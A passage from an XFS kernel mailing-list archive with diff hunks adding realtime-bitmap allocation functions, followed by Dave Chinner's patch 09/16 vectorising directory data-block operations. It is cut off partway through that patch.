xfs_rtblock_t limit, /* last block to look at */ + xfs_rtblock_t *rtblock) /* out: start block found */ +{ + xfs_rtword_t *b; /* current word in buffer */ + int bit; /* bit number in the word */ + xfs_rtblock_t block; /* bitmap block number */ + xfs_buf_t *bp; /* buf for the block */ + xfs_rtword_t *bufp; /* starting word in buffer */ + int error; /* error value */ + xfs_rtblock_t firstbit; /* first useful bit in the word */ + xfs_rtblock_t i; /* current bit number rel. to start */ + xfs_rtblock_t len; /* length of inspected area */ + xfs_rtword_t mask; /* mask of relevant bits for value */ + xfs_rtword_t want; /* mask for "good" values */ + xfs_rtword_t wdiff; /* difference from wanted value */ + int word; /* word number in the buffer */ + + /* + * Compute and read in starting bitmap block for starting block. + */ + block = XFS_BITTOBLOCK(mp, start); + error = xfs_rtbuf_get(mp, tp, block, 0, &bp); + if (error) { + return error; + } + bufp = bp->b_addr; + /* + * Get the first word's index & point to it. + */ + word = XFS_BITTOWORD(mp, start); + b = &bufp[word]; + bit = (int)(start & (XFS_NBWORD - 1)); + len = start - limit + 1; + /* + * Compute match value, based on the bit at start: if 1 (free) + * then all-ones, else all-zeroes. + */ + want = (*b & ((xfs_rtword_t)1 << bit)) ? -1 : 0; + /* + * If the starting position is not word-aligned, deal with the + * partial word. + */ + if (bit < XFS_NBWORD - 1) { + /* + * Calculate first (leftmost) bit number to look at, + * and mask for all the relevant bits in this word. + */ + firstbit = XFS_RTMAX((xfs_srtblock_t)(bit - len + 1), 0); + mask = (((xfs_rtword_t)1 << (bit - firstbit + 1)) - 1) << + firstbit; + /* + * Calculate the difference between the value there + * and what we're looking for. + */ + if ((wdiff = (*b ^ want) & mask)) { + /* + * Different. Mark where we are and return. + */ + xfs_trans_brelse(tp, bp); + i = bit - XFS_RTHIBIT(wdiff); + *rtblock = start - i + 1; + return 0; + } + i = bit - firstbit + 1; + /* + * Go on to previous block if that's where the previous word is + * and we need the previous word. + */ + if (--word == -1 && i < len) { + /* + * If done with this block, get the previous one. + */ + xfs_trans_brelse(tp, bp); + error = xfs_rtbuf_get(mp, tp, --block, 0, &bp); + if (error) { + return error; + } + bufp = bp->b_addr; + word = XFS_BLOCKWMASK(mp); + b = &bufp[word]; + } else { + /* + * Go on to the previous word in the buffer. + */ + b--; + } + } else { + /* + * Starting on a word boundary, no partial word. + */ + i = 0; + } + /* + * Loop over whole words in buffers. When we use up one buffer + * we move on to the previous one. + */ + while (len - i >= XFS_NBWORD) { + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = *b ^ want)) { + /* + * Different, mark where we are and return. + */ + xfs_trans_brelse(tp, bp); + i += XFS_NBWORD - 1 - XFS_RTHIBIT(wdiff); + *rtblock = start - i + 1; + return 0; + } + i += XFS_NBWORD; + /* + * Go on to previous block if that's where the previous word is + * and we need the previous word. + */ + if (--word == -1 && i < len) { + /* + * If done with this block, get the previous one. + */ + xfs_trans_brelse(tp, bp); + error = xfs_rtbuf_get(mp, tp, --block, 0, &bp); + if (error) { + return error; + } + bufp = bp->b_addr; + word = XFS_BLOCKWMASK(mp); + b = &bufp[word]; + } else { + /* + * Go on to the previous word in the buffer. + */ + b--; + } + } + /* + * If not ending on a word boundary, deal with the last + * (partial) word. + */ + if (len - i) { + /* + * Calculate first (leftmost) bit number to look at, + * and mask for all the relevant bits in this word. + */ + firstbit = XFS_NBWORD - (len - i); + mask = (((xfs_rtword_t)1 << (len - i)) - 1) << firstbit; + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = (*b ^ want) & mask)) { + /* + * Different, mark where we are and return. + */ + xfs_trans_brelse(tp, bp); + i += XFS_NBWORD - 1 - XFS_RTHIBIT(wdiff); + *rtblock = start - i + 1; + return 0; + } else + i = len; + } + /* + * No match, return that we scanned the whole area. + */ + xfs_trans_brelse(tp, bp); + *rtblock = start - i + 1; + return 0; +} + +/* + * Searching forward from start to limit, find the first block whose + * allocated/free state is different from start's. + */ +int +xfs_rtfind_forw( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t start, /* starting block to look at */ + xfs_rtblock_t limit, /* last block to look at */ + xfs_rtblock_t *rtblock) /* out: start block found */ +{ + xfs_rtword_t *b; /* current word in buffer */ + int bit; /* bit number in the word */ + xfs_rtblock_t block; /* bitmap block number */ + xfs_buf_t *bp; /* buf for the block */ + xfs_rtword_t *bufp; /* starting word in buffer */ + int error; /* error value */ + xfs_rtblock_t i; /* current bit number rel. to start */ + xfs_rtblock_t lastbit; /* last useful bit in the word */ + xfs_rtblock_t len; /* length of inspected area */ + xfs_rtword_t mask; /* mask of relevant bits for value */ + xfs_rtword_t want; /* mask for "good" values */ + xfs_rtword_t wdiff; /* difference from wanted value */ + int word; /* word number in the buffer */ + + /* + * Compute and read in starting bitmap block for starting block. + */ + block = XFS_BITTOBLOCK(mp, start); + error = xfs_rtbuf_get(mp, tp, block, 0, &bp); + if (error) { + return error; + } + bufp = bp->b_addr; + /* + * Get the first word's index & point to it. + */ + word = XFS_BITTOWORD(mp, start); + b = &bufp[word]; + bit = (int)(start & (XFS_NBWORD - 1)); + len = limit - start + 1; + /* + * Compute match value, based on the bit at start: if 1 (free) + * then all-ones, else all-zeroes. + */ + want = (*b & ((xfs_rtword_t)1 << bit)) ? -1 : 0; + /* + * If the starting position is not word-aligned, deal with the + * partial word. + */ + if (bit) { + /* + * Calculate last (rightmost) bit number to look at, + * and mask for all the relevant bits in this word. + */ + lastbit = XFS_RTMIN(bit + len, XFS_NBWORD); + mask = (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; + /* + * Calculate the difference between the value there + * and what we're looking for. + */ + if ((wdiff = (*b ^ want) & mask)) { + /* + * Different. Mark where we are and return. + */ + xfs_trans_brelse(tp, bp); + i = XFS_RTLOBIT(wdiff) - bit; + *rtblock = start + i - 1; + return 0; + } + i = lastbit - bit; + /* + * Go on to next block if that's where the next word is + * and we need the next word. + */ + if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + /* + * If done with this block, get the previous one. + */ + xfs_trans_brelse(tp, bp); + error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + if (error) { + return error; + } + b = bufp = bp->b_addr; + word = 0; + } else { + /* + * Go on to the previous word in the buffer. + */ + b++; + } + } else { + /* + * Starting on a word boundary, no partial word. + */ + i = 0; + } + /* + * Loop over whole words in buffers. When we use up one buffer + * we move on to the next one. + */ + while (len - i >= XFS_NBWORD) { + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = *b ^ want)) { + /* + * Different, mark where we are and return. + */ + xfs_trans_brelse(tp, bp); + i += XFS_RTLOBIT(wdiff); + *rtblock = start + i - 1; + return 0; + } + i += XFS_NBWORD; + /* + * Go on to next block if that's where the next word is + * and we need the next word. + */ + if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + /* + * If done with this block, get the next one. + */ + xfs_trans_brelse(tp, bp); + error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + if (error) { + return error; + } + b = bufp = bp->b_addr; + word = 0; + } else { + /* + * Go on to the next word in the buffer. + */ + b++; + } + } + /* + * If not ending on a word boundary, deal with the last + * (partial) word. + */ + if ((lastbit = len - i)) { + /* + * Calculate mask for all the relevant bits in this word. + */ + mask = ((xfs_rtword_t)1 << lastbit) - 1; + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = (*b ^ want) & mask)) { + /* + * Different, mark where we are and return. + */ + xfs_trans_brelse(tp, bp); + i += XFS_RTLOBIT(wdiff); + *rtblock = start + i - 1; + return 0; + } else + i = len; + } + /* + * No match, return that we scanned the whole area. + */ + xfs_trans_brelse(tp, bp); + *rtblock = start + i - 1; + return 0; +} + +/* + * Read and modify the summary information for a given extent size, + * bitmap block combination. + * Keeps track of a current summary block, so we don't keep reading + * it from the buffer cache. + */ +int +xfs_rtmodify_summary( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + int log, /* log2 of extent size */ + xfs_rtblock_t bbno, /* bitmap block number */ + int delta, /* change to make to summary info */ + xfs_buf_t **rbpp, /* in/out: summary block buffer */ + xfs_fsblock_t *rsb) /* in/out: summary block number */ +{ + xfs_buf_t *bp; /* buffer for the summary block */ + int error; /* error value */ + xfs_fsblock_t sb; /* summary fsblock */ + int so; /* index into the summary file */ + xfs_suminfo_t *sp; /* pointer to returned data */ + + /* + * Compute entry number in the summary file. + */ + so = XFS_SUMOFFS(mp, log, bbno); + /* + * Compute the block number in the summary file. + */ + sb = XFS_SUMOFFSTOBLOCK(mp, so); + /* + * If we have an old buffer, and the block number matches, use that. + */ + if (rbpp && *rbpp && *rsb == sb) + bp = *rbpp; + /* + * Otherwise we have to get the buffer. + */ + else { + /* + * If there was an old one, get rid of it first. + */ + if (rbpp && *rbpp) + xfs_trans_brelse(tp, *rbpp); + error = xfs_rtbuf_get(mp, tp, sb, 1, &bp); + if (error) { + return error; + } + /* + * Remember this buffer and block for the next call. + */ + if (rbpp) { + *rbpp = bp; + *rsb = sb; + } + } + /* + * Point to the summary information, modify and log it. + */ + sp = XFS_SUMPTR(mp, bp, so); + *sp += delta; + xfs_trans_log_buf(tp, bp, (uint)((char *)sp - (char *)bp->b_addr), + (uint)((char *)sp - (char *)bp->b_addr + sizeof(*sp) - 1)); + return 0; +} + +/* + * Set the given range of bitmap bits to the given value. + * Do whatever I/O and logging is required. + */ +int +xfs_rtmodify_range( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t start, /* starting block to modify */ + xfs_extlen_t len, /* length of extent to modify */ + int val) /* 1 for free, 0 for allocated */ +{ + xfs_rtword_t *b; /* current word in buffer */ + int bit; /* bit number in the word */ + xfs_rtblock_t block; /* bitmap block number */ + xfs_buf_t *bp; /* buf for the block */ + xfs_rtword_t *bufp; /* starting word in buffer */ + int error; /* error value */ + xfs_rtword_t *first; /* first used word in the buffer */ + int i; /* current bit number rel. to start */ + int lastbit; /* last useful bit in word */ + xfs_rtword_t mask; /* mask o frelevant bits for value */ + int word; /* word number in the buffer */ + + /* + * Compute starting bitmap block number. + */ + block = XFS_BITTOBLOCK(mp, start); + /* + * Read the bitmap block, and point to its data. + */ + error = xfs_rtbuf_get(mp, tp, block, 0, &bp); + if (error) { + return error; + } + bufp = bp->b_addr; + /* + * Compute the starting word's address, and starting bit. + */ + word = XFS_BITTOWORD(mp, start); + first = b = &bufp[word]; + bit = (int)(start & (XFS_NBWORD - 1)); + /* + * 0 (allocated) => all zeroes; 1 (free) => all ones. + */ + val = -val; + /* + * If not starting on a word boundary, deal with the first + * (partial) word. + */ + if (bit) { + /* + * Compute first bit not changed and mask of relevant bits. + */ + lastbit = XFS_RTMIN(bit + len, XFS_NBWORD); + mask = (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; + /* + * Set/clear the active bits. + */ + if (val) + *b |= mask; + else + *b &= ~mask; + i = lastbit - bit; + /* + * Go on to the next block if that's where the next word is + * and we need the next word. + */ + if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + /* + * Log the changed part of this block. + * Get the next one. + */ + xfs_trans_log_buf(tp, bp, + (uint)((char *)first - (char *)bufp), + (uint)((char *)b - (char *)bufp)); + error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + if (error) { + return error; + } + first = b = bufp = bp->b_addr; + word = 0; + } else { + /* + * Go on to the next word in the buffer + */ + b++; + } + } else { + /* + * Starting on a word boundary, no partial word. + */ + i = 0; + } + /* + * Loop over whole words in buffers. When we use up one buffer + * we move on to the next one. + */ + while (len - i >= XFS_NBWORD) { + /* + * Set the word value correctly. + */ + *b = val; + i += XFS_NBWORD; + /* + * Go on to the next block if that's where the next word is + * and we need the next word. + */ + if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + /* + * Log the changed part of this block. + * Get the next one. + */ + xfs_trans_log_buf(tp, bp, + (uint)((char *)first - (char *)bufp), + (uint)((char *)b - (char *)bufp)); + error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + if (error) { + return error; + } + first = b = bufp = bp->b_addr; + word = 0; + } else { + /* + * Go on to the next word in the buffer + */ + b++; + } + } + /* + * If not ending on a word boundary, deal with the last + * (partial) word. + */ + if ((lastbit = len - i)) { + /* + * Compute a mask of relevant bits. + */ + bit = 0; + mask = ((xfs_rtword_t)1 << lastbit) - 1; + /* + * Set/clear the active bits. + */ + if (val) + *b |= mask; + else + *b &= ~mask; + b++; + } + /* + * Log any remaining changed bytes. + */ + if (b > first) + xfs_trans_log_buf(tp, bp, (uint)((char *)first - (char *)bufp), + (uint)((char *)b - (char *)bufp - 1)); + return 0; +} + +/* + * Mark an extent specified by start and len freed. + * Updates all the summary information as well as the bitmap. + */ +int +xfs_rtfree_range( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t start, /* starting block to free */ + xfs_extlen_t len, /* length to free */ + xfs_buf_t **rbpp, /* in/out: summary block buffer */ + xfs_fsblock_t *rsb) /* in/out: summary block number */ +{ + xfs_rtblock_t end; /* end of the freed extent */ + int error; /* error value */ + xfs_rtblock_t postblock; /* first block freed > end */ + xfs_rtblock_t preblock; /* first block freed < start */ + + end = start + len - 1; + /* + * Modify the bitmap to mark this extent freed. + */ + error = xfs_rtmodify_range(mp, tp, start, len, 1); + if (error) { + return error; + } + /* + * Assume we're freeing out of the middle of an allocated extent. + * We need to find the beginning and end of the extent so we can + * properly update the summary. + */ + error = xfs_rtfind_back(mp, tp, start, 0, &preblock); + if (error) { + return error; + } + /* + * Find the next allocated block (end of allocated extent). + */ + error = xfs_rtfind_forw(mp, tp, end, mp->m_sb.sb_rextents - 1, + &postblock); + if (error) + return error; + /* + * If there are blocks not being freed at the front of the + * old extent, add summary data for them to be allocated. + */ + if (preblock < start) { + error = xfs_rtmodify_summary(mp, tp, + XFS_RTBLOCKLOG(start - preblock), + XFS_BITTOBLOCK(mp, preblock), -1, rbpp, rsb); + if (error) { + return error; + } + } + /* + * If there are blocks not being freed at the end of the + * old extent, add summary data for them to be allocated. + */ + if (postblock > end) { + error = xfs_rtmodify_summary(mp, tp, + XFS_RTBLOCKLOG(postblock - end), + XFS_BITTOBLOCK(mp, end + 1), -1, rbpp, rsb); + if (error) { + return error; + } + } + /* + * Increment the summary information corresponding to the entire + * (new) free extent. + */ + error = xfs_rtmodify_summary(mp, tp, + XFS_RTBLOCKLOG(postblock + 1 - preblock), + XFS_BITTOBLOCK(mp, preblock), 1, rbpp, rsb); + return error; +} + +/* + * Check that the given range is either all allocated (val = 0) or + * all free (val = 1). + */ +int +xfs_rtcheck_range( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t start, /* starting block number of extent */ + xfs_extlen_t len, /* length of extent */ + int val, /* 1 for free, 0 for allocated */ + xfs_rtblock_t *new, /* out: first block not matching */ + int *stat) /* out: 1 for matches, 0 for not */ +{ + xfs_rtword_t *b; /* current word in buffer */ + int bit; /* bit number in the word */ + xfs_rtblock_t block; /* bitmap block number */ + xfs_buf_t *bp; /* buf for the block */ + xfs_rtword_t *bufp; /* starting word in buffer */ + int error; /* error value */ + xfs_rtblock_t i; /* current bit number rel. to start */ + xfs_rtblock_t lastbit; /* last useful bit in word */ + xfs_rtword_t mask; /* mask of relevant bits for value */ + xfs_rtword_t wdiff; /* difference from wanted value */ + int word; /* word number in the buffer */ + + /* + * Compute starting bitmap block number + */ + block = XFS_BITTOBLOCK(mp, start); + /* + * Read the bitmap block. + */ + error = xfs_rtbuf_get(mp, tp, block, 0, &bp); + if (error) { + return error; + } + bufp = bp->b_addr; + /* + * Compute the starting word's address, and starting bit. + */ + word = XFS_BITTOWORD(mp, start); + b = &bufp[word]; + bit = (int)(start & (XFS_NBWORD - 1)); + /* + * 0 (allocated) => all zero's; 1 (free) => all one's. + */ + val = -val; + /* + * If not starting on a word boundary, deal with the first + * (partial) word. + */ + if (bit) { + /* + * Compute first bit not examined. + */ + lastbit = XFS_RTMIN(bit + len, XFS_NBWORD); + /* + * Mask of relevant bits. + */ + mask = (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = (*b ^ val) & mask)) { + /* + * Different, compute first wrong bit and return. + */ + xfs_trans_brelse(tp, bp); + i = XFS_RTLOBIT(wdiff) - bit; + *new = start + i; + *stat = 0; + return 0; + } + i = lastbit - bit; + /* + * Go on to next block if that's where the next word is + * and we need the next word. + */ + if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + /* + * If done with this block, get the next one. + */ + xfs_trans_brelse(tp, bp); + error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + if (error) { + return error; + } + b = bufp = bp->b_addr; + word = 0; + } else { + /* + * Go on to the next word in the buffer. + */ + b++; + } + } else { + /* + * Starting on a word boundary, no partial word. + */ + i = 0; + } + /* + * Loop over whole words in buffers. When we use up one buffer + * we move on to the next one. + */ + while (len - i >= XFS_NBWORD) { + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = *b ^ val)) { + /* + * Different, compute first wrong bit and return. + */ + xfs_trans_brelse(tp, bp); + i += XFS_RTLOBIT(wdiff); + *new = start + i; + *stat = 0; + return 0; + } + i += XFS_NBWORD; + /* + * Go on to next block if that's where the next word is + * and we need the next word. + */ + if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + /* + * If done with this block, get the next one. + */ + xfs_trans_brelse(tp, bp); + error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + if (error) { + return error; + } + b = bufp = bp->b_addr; + word = 0; + } else { + /* + * Go on to the next word in the buffer. + */ + b++; + } + } + /* + * If not ending on a word boundary, deal with the last + * (partial) word. + */ + if ((lastbit = len - i)) { + /* + * Mask of relevant bits. + */ + mask = ((xfs_rtword_t)1 << lastbit) - 1; + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = (*b ^ val) & mask)) { + /* + * Different, compute first wrong bit and return. + */ + xfs_trans_brelse(tp, bp); + i += XFS_RTLOBIT(wdiff); + *new = start + i; + *stat = 0; + return 0; + } else + i = len; + } + /* + * Successful, return. + */ + xfs_trans_brelse(tp, bp); + *new = start + i; + *stat = 1; + return 0; +} + +#ifdef DEBUG +/* + * Check that the given extent (block range) is allocated already. + */ +STATIC int /* error */ +xfs_rtcheck_alloc_range( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t bno, /* starting block number of extent */ + xfs_extlen_t len) /* length of extent */ +{ + xfs_rtblock_t new; /* dummy for xfs_rtcheck_range */ + int stat; + int error; + + error = xfs_rtcheck_range(mp, tp, bno, len, 0, &new, &stat); + if (error) + return error; + ASSERT(stat); + return 0; +} +#else +#define xfs_rtcheck_alloc_range(m,t,b,l) (0) +#endif +/* + * Free an extent in the realtime subvolume. Length is expressed in + * realtime extents, as is the block number. + */ +int /* error */ +xfs_rtfree_extent( + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t bno, /* starting block number to free */ + xfs_extlen_t len) /* length of extent freed */ +{ + int error; /* error value */ + xfs_mount_t *mp; /* file system mount structure */ + xfs_fsblock_t sb; /* summary file block number */ + xfs_buf_t *sumbp= NULL; /* summary file block buffer */ + + mp = tp->t_mountp; + + ASSERT(mp->m_rbmip->i_itemp != NULL); + ASSERT(xfs_isilocked(mp->m_rbmip, XFS_ILOCK_EXCL)); + + error = xfs_rtcheck_alloc_range(mp, tp, bno, len); + if (error) + return error; + + /* + * Free the range of realtime blocks. + */ + error = xfs_rtfree_range(mp, tp, bno, len, &sumbp, &sb); + if (error) { + return error; + } + /* + * Mark more blocks free in the superblock. + */ + xfs_trans_mod_sb(tp, XFS_TRANS_SB_FREXTENTS, (long)len); + /* + * If we've now freed all the blocks, reset the file sequence + * number to 0. + */ + if (tp->t_frextents_delta + mp->m_sb.sb_frextents == + mp->m_sb.sb_rextents) { + if (!(mp->m_rbmip->i_d.di_flags & XFS_DIFLAG_NEWRTBM)) + mp->m_rbmip->i_d.di_flags |= XFS_DIFLAG_NEWRTBM; + *(__uint64_t *)&mp->m_rbmip->i_d.di_atime = 0; + xfs_trans_log_inode(tp, mp->m_rbmip, XFS_ILOG_CORE); + } + return 0; +} + -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 12A937F88 for ; Sun, 29 Sep 2013 22:07:39 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 89EC2AC001 for ; Sun, 29 Sep 2013 20:07:38 -0700 (PDT) X-ASG-Debug-ID: 1380510446-04cb6c3777739180004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 1sdWFDWv8Ku0rU2r for ; Sun, 29 Sep 2013 20:07:34 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AiYRAPLpSFJ5LCC0/2dsb2JhbABagwc4rH4DQJUrF3SCJQEBBRoBDC8zCBgxOQMbGYgFvAaOB4VzA5kukEqDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:25 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006Le-PI for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002CB-OR for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 09/16] xfs: vectorise directory data operations Date: Mon, 30 Sep 2013 13:07:06 +1000 X-ASG-Orig-Subj: [PATCH 09/16] xfs: vectorise directory data operations Message-Id: <1380510433-8353-10-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510454 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Following from the initial patches to vectorise the shortform directory encode/decode operations, convert half the data block operations to use the vector. The rest will be done in a second patch. This further reduces the size of the built binary: text data bss dec hex filename 794490 96802 1096 892388 d9de4 fs/xfs/xfs.o.orig 792986 96802 1096 890884 d9804 fs/xfs/xfs.o.p1 792350 96802 1096 890248 d9588 fs/xfs/xfs.o.p2 789293 96802 1096 887191 d8997 fs/xfs/xfs.o.p3 Signed-off-by: Dave Chinner --- fs/xfs/xfs_da_format.c | 218 +++++++++++++++++++++++++++++++++++++++++++++- fs/xfs/xfs_da_format.h | 123 -------------------------- fs/xfs/xfs_dir2.h | 22 ++++- fs/xfs/xfs_dir2_block.c | 54 ++++++------ fs/xfs/xfs_dir2_data.c | 38 +++++--- fs/xfs/xfs_dir2_leaf.c | 22 ++--- fs/xfs/xfs_dir2_node.c | 23 ++--- fs/xfs/xfs_dir2_readdir.c | 14 +-- fs/xfs/xfs_dir2_sf.c | 20 ++--- 9 files changed, 329 insertions(+), 205 deletions(-) diff --git a/fs/xfs/xfs_da_format.c b/fs/xfs/xfs_da_format.c index 62f55a0..d0285fd 100644 --- a/fs/xfs/xfs_da_format.c +++ b/fs/xfs/xfs_da_format.c @@ -28,7 +28,9 @@ #include "xfs_inode.h" #include "xfs_dir2.h" - +/* + * Shortform directory ops + */ static int xfs_dir2_sf_entsize( struct xfs_dir2_sf_hdr *hdr, @@ -203,6 +205,184 @@ xfs_dir3_sfe_put_ino( (xfs_dir2_inou_t *)&sfep->name[sfep->namelen + 1], ino); } + +/* + * Directory data block operations + */ +static int +__xfs_dir3_data_entsize( + bool ftype, + int n) +{ + int size = offsetof(struct xfs_dir2_data_entry, name[0]); + + size += n; + size += sizeof(xfs_dir2_data_off_t); + if (ftype) + size += sizeof(__uint8_t); + return roundup(size, XFS_DIR2_DATA_ALIGN); +} + +static int +xfs_dir2_data_entsize( + int n) +{ + return __xfs_dir3_data_entsize(false, n); +} +static int +xfs_dir3_data_entsize( + int n) +{ + return __xfs_dir3_data_entsize(true, n); +} + +static __uint8_t +xfs_dir2_data_get_ftype( + struct xfs_dir2_data_entry *dep) +{ + return XFS_DIR3_FT_UNKNOWN; +} + +static void +xfs_dir2_data_put_ftype( + struct xfs_dir2_data_entry *dep, + __uint8_t ftype) +{ + ASSERT(ftype < XFS_DIR3_FT_MAX); +} + +static __uint8_t +xfs_dir3_data_get_ftype( + struct xfs_dir2_data_entry *dep) +{ + __uint8_t ftype = dep->name[dep->namelen]; + + ASSERT(ftype < XFS_DIR3_FT_MAX); + if (ftype >= XFS_DIR3_FT_MAX) + return XFS_DIR3_FT_UNKNOWN; + return ftype; +} + +static void +xfs_dir3_data_put_ftype( + struct xfs_dir2_data_entry *dep, + __uint8_t type) +{ + ASSERT(type < XFS_DIR3_FT_MAX); + ASSERT(dep->namelen != 0); + + dep->name[dep->namelen] = type; +} + +/* + * Pointer to an entry's tag word. + */ +static __be16 * +xfs_dir2_data_entry_tag_p( + struct xfs_dir2_data_entry *dep) +{ + return (__be16 *)((char *)dep + + xfs_dir2_data_entsize(dep->namelen) - sizeof(__be16)); +} + +static __be16 * +xfs_dir3_data_entry_tag_p( + struct xfs_dir2_data_entry *dep) +{ + return (__be16 *)((char *)dep + + xfs_dir3_data_entsize(dep->namelen) - sizeof(__be16)); +} + +/* + * Offsets of . and .. in data space (always block 0) + */ +static xfs_dir2_data_aoff_t +xfs_dir2_data_dot_offset(void) +{ + return sizeof(struct xfs_dir2_data_hdr); +} + +static xfs_dir2_data_aoff_t +xfs_dir2_data_dotdot_offset(void) +{ + return xfs_dir2_data_dot_offset() + xfs_dir2_data_entsize(1); +} + +static xfs_dir2_data_aoff_t +xfs_dir2_data_first_offset(void) +{ + return xfs_dir2_data_dotdot_offset() + xfs_dir2_data_entsize(2); +} + +static xfs_dir2_data_aoff_t +xfs_dir3_data_dot_offset(void) +{ + return sizeof(struct xfs_dir3_data_hdr); +} + +static xfs_dir2_data_aoff_t +xfs_dir3_data_dotdot_offset(void) +{ + return xfs_dir3_data_dot_offset() + xfs_dir3_data_entsize(1); +} + +static xfs_dir2_data_aoff_t +xfs_dir3_data_first_offset(void) +{ + return xfs_dir3_data_dotdot_offset() + xfs_dir3_data_entsize(2); +} + +/* + * location of . and .. in data space (always block 0) + */ +static struct xfs_dir2_data_entry * +xfs_dir2_data_dot_entry_p( + struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir2_data_dot_offset()); +} + +static struct xfs_dir2_data_entry * +xfs_dir2_data_dotdot_entry_p( + struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir2_data_dotdot_offset()); +} + +static struct xfs_dir2_data_entry * +xfs_dir2_data_first_entry_p( + struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir2_data_first_offset()); +} + +static struct xfs_dir2_data_entry * +xfs_dir3_data_dot_entry_p( + struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_dot_offset()); +} + +static struct xfs_dir2_data_entry * +xfs_dir3_data_dotdot_entry_p( + struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_dotdot_offset()); +} + +static struct xfs_dir2_data_entry * +xfs_dir3_data_first_entry_p( + struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_first_offset()); +} + const struct xfs_dir_ops xfs_dir2_ops = { .sf_entsize = xfs_dir2_sf_entsize, .sf_nextentry = xfs_dir2_sf_nextentry, @@ -212,6 +392,18 @@ const struct xfs_dir_ops xfs_dir2_ops = { .sf_put_ino = xfs_dir2_sfe_put_ino, .sf_get_parent_ino = xfs_dir2_sf_get_parent_ino, .sf_put_parent_ino = xfs_dir2_sf_put_parent_ino, + + .data_entsize = xfs_dir2_data_entsize, + .data_get_ftype = xfs_dir2_data_get_ftype, + .data_put_ftype = xfs_dir2_data_put_ftype, + .data_entry_tag_p = xfs_dir2_data_entry_tag_p, + + .data_dot_offset = xfs_dir2_data_dot_offset, + .data_dotdot_offset = xfs_dir2_data_dotdot_offset, + .data_first_offset = xfs_dir2_data_first_offset, + .data_dot_entry_p = xfs_dir2_data_dot_entry_p, + 